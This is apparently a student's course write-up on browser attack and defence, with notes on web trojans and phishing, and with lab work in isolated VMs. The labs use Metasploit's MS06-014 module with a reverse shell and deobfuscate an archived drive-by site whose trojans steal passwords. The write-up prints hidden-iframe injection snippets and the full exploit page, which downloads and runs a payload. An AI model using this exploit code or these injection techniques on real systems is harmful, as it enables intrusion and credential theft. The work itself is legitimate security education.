20199102 2019-2020-2 《网络攻防实践》第十二周作业

20199102 2019-2020-2 《网络攻防实践》第十二周作业



再牛逼的加密技术,在CPU面前也都是二进制机器码
再牛逼的混淆,交给浏览器引擎的也是javascript代码


0.整体结构

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 第十二次作业 浏览器安全攻防
我在这个课程的目标是 学习和完成Web 浏览器的安全攻防技术与实践
这个作业在哪个具体方面帮助我实现目标 掌握Web 浏览器安全攻防相关技术
作业正文 下述正文,1,2,3部分

1.实践内容


​ 互联网网民在使用 Web 浏览器享受网络生活时 ,除了会经常遇到“都是浮云的神马” 之外 ,也时常遭遇到 “却是灾星的木马” ,以及各种实施欺诈 的钓鱼网站。网页木马主要利 用 Web 浏 览器中的安全漏洞来实施对客户端的攻击 ,尝试植入恶意程序以窃取 网民的敏感信息;而网络钓鱼攻击则直接针对用户的心理弱点 ,使用了一些应 用社会工程学校巧的欺骗术来诱使用户直接给出敏感信息。本章将以这两类流行的 Web浏览安全威胁为重点 ,来 介绍 Web 浏览器的安全攻防技术与实践。


1.1 Web浏览器的技术发展与安全威胁


  • 网络浏览器定义:

  • 网页浏览器是个显示网页服务器或档案系统内的文件,并让用户与此些文件互动的一种软件。它用来显示在万维网或局部局域网路等内的文字、影像及其他资讯。

  • 浏览器技术发展

    • 第一次变革Netscape:Netscape6开始采用Gecko内核。后来的Mozilla FireFox(火狐浏览器)也采用了该内核,Gecko 的特点是代码完全公开,因此,其可开发程度很高,全世界的程序员都可以为其编写代码,增加功能。
    • 第二次变革IE:1997年微软基于Mosaic(“马赛克”,这是人类历史上第一个浏览器,从此网页可以在图形界面的窗口浏览)代码修改成了新的Trident内核,开发出了Internet Explorer,而且微软把IE浏览器捆绑在了他自己的操作系统中。
    • 第三次变革Mozilla:Trident 内核的长期一家独大,微软很长时间都并没有更新 Trident 内核,这导致了两个后果——一是 Trident 内核曾经几乎与 W3C 标准脱节(2005年)这也导致了微软内部一些开发人员的不满,二是 Trident 内核的大量 Bug 等安全性问题没有得到及时解决,然后加上一些致力于开源的开发者和一些学者们公开自己认为 IE 浏览器不安全的观点,也有很多用户转向了其他浏览器,而那些不满的部分微软“叛将”与当时已经停止更新了的 Netscape 的一些员工一起创办了Mozilla
    • 第四次变革Chromium:谷歌发布的 chrome 浏览器使用的内核被命名为 chromium。chromium 虽然是开源引擎webkit的一个分支,却把 WebKit 的代码梳理得可读性提高很多,
  • 现代浏览器的基本结构和机理

    • User Interface:主要提供用户与Browser Engine交互的方法。其中包括:地址栏(address bar)、向前/退后按钮、书签菜单等等。浏览器除了渲染请求页面的窗口外的所有地方都属于The User Interface

    • The Browser Engine:协调(主控)UI和the Rendering Engine,在他们之间传输指令。 提供对The Rendering Engine的高级接口,一方面它提供初始化加载Url和其他高级的浏览器动作(如刷新、向前、退后等)方法。另一方面Browser Engine也为User Interface提供各种与错误、加载进度相关的消息。

    • The Rendering Engine:为给定的URL提供可视化的展示。它解析JavaScript、Html、Xml,并且User Interface中展示的layout。其中关键的组件是Html解析器,它可以让Rendering Engine展示差乱的Html页面。 值得注意:不同的浏览器使用不同的Rendering Engine。例如IE使用Trident,Firefox使用Gecko,Safai使用Webkit。Chrome和Opera使用Webkit(以前是Blink)

    • The Networking:基于互联网HTTP和FTP协议,处理网络请求。网络模块负责Internet communication and security,character set translations and MIME type resolution。另外网络模块还提供获得到文档的缓存,以减少网络传输。为所有平台提供底层网络实现,其提供的接口与平台无关

    • The JavaScript Interpreter:解释和运行网站上的js代码,得到的结果传输到Rendering Engine来展示。

    • 上述结构的整体架构如下图所示


      图1 现代浏览器架构
  • Web浏览器软件的安全困境三要素

    • 复杂性:现代Web操作系统需要支持多种协议,变得非常复杂和庞大。
    • 可扩展性:第三方插件可能存在大量的安全漏洞,导致浏览的不安全
    • 连通性:浏览器作为处于联网状态的应用,一旦被攻破就会导致并网络上的攻击源利用。
  • Web浏览器安全位置威胁

    • 针对传输网络协议的安全威胁
    • 针对web浏览器系统平台的安全威胁
    • 针对Web浏览器软件及其插件程序的渗透攻击威胁
    • 针对互联网用户的社会工程学攻击威胁

1.2 Web浏览器的渗透攻击威胁----网页木马


  • 网页木马的定义

    • 网页木马就是表面上伪装成普通的网页文件或是将恶意的代码直接插入到正常的网页文件中,当有人访问时,网页木马就会利用对方系统或者浏览器的漏洞自动将配置好的木马的服务端下载到访问者的电脑上来自动执行。

    • 网页木马的主要结构如下图所示


      图2 网马架构
  • 网页木马发展与流行的驱动力----黑客地下经济链

    • 角色分工:病毒编写者、黑站长\网站骇客、信封盗窃者、虚拟资产盗窃者、虚拟资产买家、玩家。

    • 技术基础特点:攻击的漏洞存在的位置非常多样化、不仅仅局限于微软操作系统、一些影响范围广的漏洞会被持续利用。

    • 具体组织方式如下:


      图3 黑客地下经济链
  • 网页木马的攻击技术流程

    • 病毒编写者:实现网页木马和传统的盗号木马。

    • 黑站长/网站骇客:出卖和攻陷各种不安全的网站。

    • 信封盗窃者:放置网页木马和传统盗号木马

    • 上述站着的具体组织方式如下:


      图4 网页木马的攻击技术流程
  • 网络木马攻击的技术特点

    • 多样化的客户端渗透攻击位置和技术类型
    • 分布式、复杂的微观链接结构
    • 灵活多变的混淆与对抗分析能力
  • 网页挂马机制

    • 内嵌HTML标签:将内嵌框架设置为不可见从而避免注意<iframe src="URL TO Trojan" width=0 height = 0 frameborder=0></iframe>
    • 恶意script脚本:使用外部引用脚本的形式进行<script src="URL TO Trojan"></script>
    • 内嵌对象链接:利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载。
    • ARP欺骗挂马:在同一个以太网网段内,通过ARP欺骗的方式,进行中间人攻击。
  • 网页木马的检测和分析技术

    • 基于特征码匹配的传统检测方法
    • 基于统计和机器学习的静态分析方法
    • 基于动态行为结果判定的检测分析方法
    • 基于模拟浏览器环境的动态分析检测方法
  • 网页木马防范措施

    • 升级操作系统和浏览器平台
    • 安装反病毒软件
    • 使用少数派软件如MacOS\Linux等操作系统。

1.3 揭开网络钓鱼的黑幕


  • 网络钓鱼技术定义
    • 钓鱼:即网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号 ID 、 ATM PIN 码或信用卡详细信息)的一种攻击方式。它是“社会工程攻击”的一种形式。
  • 网络钓鱼攻击的技术流程:
    • 攻击者扫描网段,寻找有漏洞的服务器
    • 服务器被攻陷被安装一个有Rookit或者口令保护的后门工具
    • 攻击者从加密的后门工具中获得对服务器的访问控制权
    • 攻击者下载群发电子邮件工具,大规模散发包含钓鱼网站的欺骗性垃圾邮件
    • 网页浏览的数据开始到达钓鱼网站,潜在的受害者开始访问这个假冒的钓鱼网页内容
  • 网络钓鱼攻击常见的欺骗技巧
    • 在指向假冒网站的连接中使用ip地址代替域名
    • 注册发音相近的DNS域名
    • 在假冒的网站中插入真实网站的连接
    • 对假冒网站的URL进行编码和混淆
    • 攻击受害者的网页浏览器,从而做到隐藏消息内容
  • 网站钓鱼防范措施
    • 了解网站钓鱼安全威胁与技巧。
    • 增强安全意识,提高警惕性。
    • 使用安全软件。

2.实践过程


2.1 浏览器渗透攻击实践

  • 任务介绍:使用攻击机进行浏览器渗透攻击实践。

  • 具体任务:针对攻击机:Kali、靶机:Windows靶机。

    • 选择使用Metasploit中的MS06-014渗透攻击模块。
    • 选择PAYLOAD为任意远程Shell连接。
    • 设置LHOST参数,运行exploit,构造出恶意网页脚本。
    • 在靶机环境中启动浏览器,访问恶意网页脚本URL。
    • 查看建立起的远程控制会话SESSION。

  • 此次实验中,靶机windows2K Server192.168.200.15, 攻击机Kali192.168.200.10

  • 首先我们在kali下的root权限下通过msfconsole打开meteploit,使用漏洞use exploit/windows/brower/ie_createobject, 通过show options看到需要设置SRVHOSTSRVPORTrhost


    图6 进行攻击
  • 接下来我们使用set payload windows/meterploit/reverse_tcp设置负载,使用exploit启动攻击,可以看到攻击机建立的建立了一个恶意服务,当靶机访问这个服务的时候,就会将我们的payload建立到靶机中,从而获得session连接,进而获得reverse_tcp


    图7 建立服务器
  • 这时我们使用靶机访问上文中着重标出的网页,可以看到此时靶机的浏览器出现了一串字符 。注意:这里如果使用的是WindowsAttack作为靶机,此时需要手动允许建立对象


    图8 建立session
  • 最后我们通过sessions命令查看靶机建立起的session连接,并通过sessions -i 1我们建立的reverse_tcp


    图9 验证session
  • 最后通过上图中的ifconfig命令查看reverse_tcp建立的连接方,可以发现反向shell建立成功,至此实践一完成。


2.2 网站挂马分析实践

  • 任务介绍:根据给出的说明逐步分析,得到最终的木马文件的内容。

  • 具体任务:这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文 件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母 为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密。如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。 重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL 形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。

    • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?
    • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
    • 从解密后的结果来看,攻击者利用了那些系统漏洞?
    • 解密后发现了多少个可执行文件?其作用是什么?
    • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

  • 试述你是如何一步步地从所给的网页中获取最后的真实代码的?

    • 首先来说这一问基本上是做不了的,主要原因在于这个网站已经过期了并且保存的文件其实是不完整的,最初的首页start.html并没有给出。但是这里并不影响第一步之后的操作,这里我们可以看到有一个文件new09.html,这个文件本来是在第一个文件中通过<iframe width=0 height=0></iframe>隐式调用的。

    • 在上述文件中我们发现了它引用的两个文件aa/kl.html1299644.js文件。根据上文提到过的信息,这里应该是要构建MD5散列进行访问。通过站长工具我们可以计算的到md5(http://js.users.51.la/1299644.js,32) = 23180a42a2ff1192150231b44ffdf3d3,这样我们查找给定文件中,文件名为23180a42a2ff1192150231b44ffdf3d3的那个文件,并将其文件名修改为1299644.js,如下图所示。


      图10 MD5 based js
    • 将上述文件改名之后,用文本浏览器打开,可以看到// 本文件内容是流量统计代码,不是木马,没什么价值。我们来看另一个文件的内容,其地址是http://aa.18dd.net/aa/kl.htm。继续使用上文的站长工具我们可以得到如下的MD5值md5(http://aa.18dd.net/aa/kl.htm,32) = 7f60672dcd6b5e90b6772545ee219bd3。继续上述的步骤,去给定的文件中寻找MD5值相同的文件,并将文件名改为kl.htm


      图11 kl.htm
  • 网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?

    • 这次文件还是比较大的。通过记事本打开文件可以如下图的看到这个文件的内部结构,主要由两部分组成。自认为Web学的还是可以的,但是这个文件真的只能看懂个大概。


      图12 混淆之后的代码

      图13 加密之后的代码
    • 上文的代码看不懂,只能从认识的东西里面找线索了。上述代码最后一行,提到了两个函数base64decodexxtea_decrypt。第一个函数我是熟悉的,base64的解密函数。第二个函数我们搜索了一下,还是个中国人写的?


      图14 xxtea_decrypt
    • 本着大不了重装系统的精神,修改了上述代码的文件,感觉最后一句window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (t);应该是漏洞的攻击代码,我把它注释了,并通过alert(t);输出了用于攻击的代码。(我承认这里有赌的成分)。


      图15 攻击的代码
    • 接下来,我们将攻击代码拷贝出来,咱们分析一下。这个代码就三部分:开头和结尾的的<script></script>eval()中间的一堆十六进制代码。首先我们用排除法script肯定没不是关键,接下来看eval()函数


      图16 `eval()`函数
    • 简单来说,这就是shellcode了呗。来来来,十六进制ascii编码开搞。揭秘完了发现就是一个JavaScript代码,关键是代码中访问了很多臭名昭著的东西,ado.createobject("Adodb.Stream","")ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");new ActiveXObject("BaiduBar.Tool");}cewindowsxp;path=/;expires='+expires.=toGMTString();;除此之外,这个程序还访问了很多js文件和一个不知道是什么的cab文件。http://aa.18dd.net/aa/1.jshttp://aa.18dd.net/aa/b.jshttp://aa.18dd.net/aa/pps.jshttp://down.18dd.net/bb/bd.cab我们对这是个文件进行之前通过的步骤,计算MD5值,然后从给定的文件中找出这个文件来。

    • 依旧通过上文提到过的站长工具,可以计算上述四个网址的MD5,具体的结果如下

      MD5(http://aa.18dd.net/aa/1.js,32) = 5d7e9058a857aa2abee820d5473c5fa4
      MD5(http://aa.18dd.net/aa/b.js,32) = 3870c28cc279d457746b3796a262f166
      MD5(http://aa.18dd.net/aa/pps.js,32) = 5f0b8bf0385314dbe0e5ec95e6abedc2
      MD5(http://down.18dd.net/bb/bd.cab,32) = 1c1d7b3539a617517c49eee4120783b2
      
    • 接下来重复上述的步骤,可以看到1.js的内容和上述加密过程并无二致,就是简单的十六进制加密,从这里还牵出了一个名叫014.exe的文件,这不属于这一道题的内容,下一道题再说。

    • 接着再看db.cab,重命名之后才知道这就是个压缩文件,rar可以直接打开那种。可以看到下图


      图17 `db.cab`
    • 继续分析b.js。这个真不会,但是只要胆子大,没什么是不敢玩的。直接把eval函数删去,把代码包到<script></script>中直接运行。在游戏破解中有一句话,再牛逼的加密技术,在CPU面前也都是二进制机器码,这句话在Web中也适用再牛逼的混淆,交给浏览器引擎的也是javascript代码。可以通过如下的代码得到如下的结果!!!接下来我们百度一下这个神奇的function(p,a,c,k,e,d)函数最后在这个网站上找到的对应的解释,如下图给出。


      图18 `b.js`

      图18 unpacked
    • 注意这里给出的实际上还是一个混淆过得文件,但是可以明显的看出文件的头部函数和尾部的字符串处理函数了。这里我们把最后的一句storm.rawParse(buffer)注释掉,与之代替的就是下文的代码。就可以得到下文的结果。最后的最后,八进制转ascii,就能看到http://down.18dd.net/bb/bf.exe


      图19 text to Hex

      图20 最终结果
    • 最后的一个文件就是pps.js这个挺明显的,就是单纯的八进制加密。混合使用上边的几种技术八进制转asciiunescape解密八进制转ascii,就可以得到地址http://down.18dd.net/bb/pps.exe

    • 最后总结一下第一问的答案:MD5八进制转asciiunescape解密base64xxtea_decrypt

  • 从解密后的结果来看,攻击者利用了那些系统漏洞?

    • 首先,我们通过上文的对js代码的解密,我们可以看到1.js主要使用的是MS06-014这个漏洞
    • 其次,分析上述的b.js代码,我们可以看到主要针对的是针对暴风影音的漏洞进行的网码攻击。
    • 接下来,pps.js主要是针对PPStream进行的网马攻击。
    • 最后的bd.exe应该就是个正常的病毒这里有针对它的分析
  • 解密后发现了多少个可执行文件?其作用是什么?

    • 首先我们给出这些文件的一个调用和获取方式:


      图21 调用方式
    • 截至这里我们已经分析出了三个可执行文件,他们分别是014.exebf.exepps.exe。在下文中我们以pps.exe为例子进行分析,其他的两个大同小异。

    • 首先我们使用脱壳工具对pps.exe进行脱壳处理。但是这里显示这个程序并没有经过加壳处理,这里显示的是Borland Delphi v6.0-v7.0,这里可以看到应该是用delphi写的程序,并且没有加壳。

    • 接下来我们将pps.exe导入IDA pro中进行查看。在string界面中查找可能有用的字符串,可以看到这里首先提的到是大量的exe文件,暂时的作用不明。


    • 接下来我们继续向下看,可以看到一些攻击相关的字符串。这里只给出几个例子,比较分散,截图不好排版。主要包含如下四种类型的命令AutoRun.inf的自动执行文件、Advapi32.dll等动态链接库、注册列表相关信息IEXPLORE.EXE等对IE进行操作的指令。


    • 最后通过相关字符猜测,这个程序可能具有自我保护能力,主要来说就是字符串允许执行IE执行保护Runtime Error at XXXX

    • 接下来使用在之前的实践中使用过的Regshot进行查看注册列表的信息,可以看到主要是向注册列表中写入了两个键值,如下图所示。


    • 后使用Total Uninstall对软件行为进行监控,发现这个软件主要指行了三个操作。

      • 在系统文件夹下创建了一个名为serdst.exe的文件

      • 安装了一个服务,服务名为Wdswsdewn,显示名为Telephotsgoogle描述为为即插即用设备提供支持,这个服务启动的就是上面那个 serdst.exe 文件。

      • 删除了当前程序,下载了20个木马文件。这个也可以从上面的字符串分析中得到一些信息。

      • 这里额外说一下之前没注意到的一个重点即插即用设备提供支持。这里启动的Telephotsgoogle在程序的相关属性中就可以看到此服务调用了serdst.exe


    • 接下来我们查看这20个程序是干什么的。我们继续使用脱壳程序对以4.exe为例子的程序进行脱壳。脱壳的结果如下图所示


    • 脱壳之后使用IDA pro获取其中的字符串,这里偷个懒,毕竟只是看字符串没必要用那么大型的文件。这里我们使用Linux指令strings 4_unpacked.exe > strings.txt,可以得到如下的文件,从中可以获得相关的信息。可以看到这里修改了注册列表,注册了自动启动项目,使用了一些高危的系统dll进行劫持。


    • 最后放上我再windows不慎解压这个文件的时候,windows10自带的windows defender对这些程序的反应把,就不用360了。这里可以看到这些都是密码窃取程序,应用的威胁代码是PWS/Win32/Lmir.AQ


    • 实践进行到这里基本都分析完了,想想好像Total Uninstall中拦截的文件还有一个dll没有分析,这里我们打开kawdacs.dll可以看到其中给出的是一个URL地址:Url1 = http://www.pt950yr.cn/kuz8xj/post.asp基本猜测这应该就是那些盗号程序上传账号密码的地址。

  • 这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

    • 有下载器
    • 下载了[1-20].exe
    • 程序作用在第四问中已经分析。

2.3 Web浏览器渗透攻击对抗实验

  • 具体任务一:攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。
  • 具体任务二:防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

  • 对实践一中MS06-014漏洞进行攻击,下载访问的链接的网页,然后打开分析,发现该网页为了防止被杀毒软件查杀,使用了空白和间隔。


  • 这边用到的文本编辑器是sublime Text,使用自带的排版功能,这里可以直接格式化代码。最终的便于阅读的代码如下图所示:

    < html>
        < head>
            < title>
                < /title>
                    <script language="javascript">
                        function jwnxVgMVVlmT(o, n) {
                            var r = null;
                            try {
                                eval("r=o.CreateObject(n)")
                            } catch (e) {}
                            if (!r) {
                                try {
                                    eval("r=o.CreateObject(n,'')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.CreateObject(n,'','')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject('',n)")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject(n,'')")
                                } catch (e) {}
                            }
                            if (!r) {
                                try {
                                    eval("r=o.GetObject(n)")
                                } catch (e) {}
                            }
                            return (r)
                        }
                        function eKXqxEpEOOOxsLSXxJeRxJCn(a) {
                            var s = jwnxVgMVVlmT(a, "WScript.Shell");
                            var o = jwnxVgMVVlmT(a, "ADODB.Stream");
                            var e = s.Environment("Process");
                            var url = document.location + '/payload';
                            var xml = null;
                            var bin = e.Item("TEMP") + "\\447f85ff8a6546e1.exe";
                            var dat;
                            try {
                                xml = new XMLHttpRequest()
                            } catch (e) {
                                try {
                                    xml = new ActiveXObject("Microsoft.XMLHTTP")
                                } catch (e) {
                                    xml = new ActiveXObject("MSXML2.ServerXMLHTTP")
                                }
                            }
                            if (!xml) {
                                return (0)
                            }
                            xml.open("GET", url, false);
                            xml.send(null);
                            dat = xml.responseBody;
                            o.Type = 1;
                            o.Mode = 3;
                            o.Open();
                            o.Write(dat);
                            o.SaveToFile(bin, 2);
                            s.Run(bin, 0)
                        }
                        function XlQTpSAsmOEMwLPxUVPUgMKrlrBR() {
                            var i = 0;
                            var t = new Array(' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
    }
    ', ' {
        BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
    }
    ', ' {
        7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
    }
    ', ' {
        6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
    }
    ', ' {
        6414512B - B978 - 451D - A0D8 - FCFDF33E833C
    }
    ', ' {
        06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
    }
    ', ' {
        639F725F - 1B2D - 4831 - A9FD - 874847682010
    }
    ', ' {
        BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
    }
    ', ' {
        D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
    }
    ', ' {
        E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
    }
    ', ' {
        AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
    }
    ', ' {
        0006F033 - 0000 - 0000 - C000 - 000000000046
    }
    ', ' {
        0006F03A - 0000 - 0000 - C000 - 000000000046
    }
    ', null);
                            while (t[i]) {
                                var a = null;
                                if (t[i].substring(0, 1) == ' {
        ') {
                                    a = document.createElement("object");
                                    a.setAttribute("classid", "clsid:" + t[i].substring(1, t[i].length - 1))
                                } else {
                                    try {
                                        a = new ActiveXObject(t[i])
                                    } catch (e) {}
                                }
                                if (a) {
                                    try {
                                        var b = jwnxVgMVVlmT(a, "WScript.Shell");
                                        if (b) {
                                            eKXqxEpEOOOxsLSXxJeRxJCn(a);
                                            return (0)
                                        }
                                    } catch (e) {}
                                }
                                i++
                            }
                        }
                    </script>
                    </head>
                    
                    <body onload='
                    XlQTpSAsmOEMwLPxUVPUgMKrlrBR()
                    '>
                        BcnGzcfhpOowOiNb
                    </body>            
                    </html>
    
  • 这份代码我们倒着看,可以看到其中使用到的document.location加载了payload,并且下一行中后面跟了一个可执行文件`PjJ.exe;猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件,这个应该是帮助攻击机获取靶机控制权限的恶意程序。


  • 最后我们查询那个核心的数据var t中的第一行的元素,可以看到MS06014的漏洞利用。



2.4 Web浏览器遭遇攻击、取证分析

  • 任务介绍:分析给的网络记录文件
  • 具体任务:回答下列问题:
    • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
    • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。
    • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
    • 请给出攻击者执行攻击动作的概要描述。
    • 攻击者引入了哪些技巧带来了困难。
    • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
    • shellcode执行了哪些操作?比较他们之间MD5的差异?
    • 在攻击场景中有二进制可执行代码参与吗?目的是什么?

  • 列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?

    • 这里我们核心在于通过协议分析软件Chaosreader进行分析。

    • 首先我们使用git clone https://github.com/brendangregg/Chaosreader.git将代码放置到本地,然后通过命令./chaosreader suspicious-time.pcap读取这个文件,可以看到如下的截图



    • 发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。

  • 列出IP地址、主机名、域名,猜测攻击场景的环境配置。

    • 这里我们使用如下的指令进行分析

      for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host"; done | sort
      
    • 上述的命令就是在选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片可以看到,rapidshare.com.eyu32.ru 对应192.168.56.50sploitme.com.cn对应192.168.56.50shop.honeynet.sg对应192.168.56.51


    • DNS服务网址:10.0.2.2, 10.0.3.2, 10.0.4.2, 10.0.5.2 192.168.1.1

    • 靶机地址:10.0.2.15 10.0.3.15 10.0.4.15 10.0.5.15

    • 模拟被侵入主机:192.168.56.50(“rapidshare.com.eyu32.ru”)192.168.56.51(“shop.honeynet.sg”)

    • 攻击方:192.168.56.52 (“sploitme.com.cn”)


  • 猜测攻击场景的环境配置。

    • 这里使用wireshark通过NBNS进行过滤,通过netbios显示出的主机名和工作组,可以看到绝大多数主机都是一样的,所以可以猜测这些主机都是配置在虚拟机下面的


  • 列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?

    • 接下来,我们查看session_0006.part_01.html这个页面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。那我们找sploitme.com.cn,404 NotFound了,这个对应文件session_0007.part_02.html。下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html




  • 请给出攻击者执行攻击动作的概要描述。

    • 攻击者将主页中,加入一个隐藏的<iframe></iframe>框架,并在框架中插入代码sploitme.com.cn/?click=X
    • 当访问者查看这些页面时,它们首先被重定向到sploitme.com.cn/fg/show.php?s=X,该页面通过302 FOUND标头重定向到伪造的404页面。
    • 然后在该页面中,检查用户代理字符串,着陆点和其他参数,并show.php发出另一个javascript代码,该代码尝试各种攻击以在受害者的计算机中执行代码。
    • 如果任何漏洞利用成功,则客户端的计算机将下载并执行位于sploitme.com.cn/fg/load.php?e=X的文件。
  • 攻击者引入了哪些技巧带来了困难。

    • 从答案中我们可以分析出来, 这里首先使用了js代码的编码和加密混淆过程。

      image-20200521002725025

    • 引入虚假的404页面


    • 该漏洞仅仅会对同一个客户仅仅相应一次,从而不能进行复查


    • 网页经过gzip压缩,从而不会再text文件中直接暂时


  • 攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?

    • 这里通过答案,你想寻找可以找到如下所示的几种漏洞

    • MDAC RDS.Dataspace ActiveX control

    • AOL IWinAmpActiveX control (AmpX.dll)

    • DirectShow ActiveX control (msvidctl.dll)

    • Office Snapshot Viewer ActiveX control

    • COM Object Instantiation (msdds.dll)

    • Office Web Components ActiveX control

    • 这里给出ActiveX漏洞的相关攻击过程


  • shellcode执行了哪些操作?比较他们之间MD5的差异?

    • 这里我们对上文给出的针对XP的攻击进行攻击进行shellcode的分析,这里shellcode主要加载的urlmon.dll,再次基础上,查找可执行文件并执行,这里唯一的变量就是load.php?e=X。这里的X对应的就是不同的请求,该变量用来指定发送的恶意可执行文件的类型。

    • 这里提出的可执行问价你的方法是用的Linux的一个软件tshark,wireshark的一个分支。但是可能是指令的问题,导致一直没有成功。

    • 这里还是给出wireshark的攻击提取结果。


3.学习中遇到的问题及解决


  • 问题1:最后一个时间tshark工具更新之后不能使用
  • 问题1解决方案:正在尝试新的指令,暂时只能用wireshark手动分析
  • 问题2:对pcap文件分析能不不够
  • 问题2解决方案:参照实验四的相关文档,自己慢慢分析
  • 问题3:实践2中对js混淆文件的分析还是不够熟练
  • 问题3的结果方案:这里主要还是投机取巧,直接拦截了chrome执行的代码。以后要重新分析一遍相关的混淆方案

4.实践总结


​ 这次实践主要的障碍就是windows defender。本来作业都快写完了,我把实践二的恶意代码粘贴进来,防御系统自动就给我删了。找回的机会都不给的那种。



参考资料

posted @ 2020-05-21 01:29  孙启龙20199102  阅读(402)  评论(0编辑  收藏  举报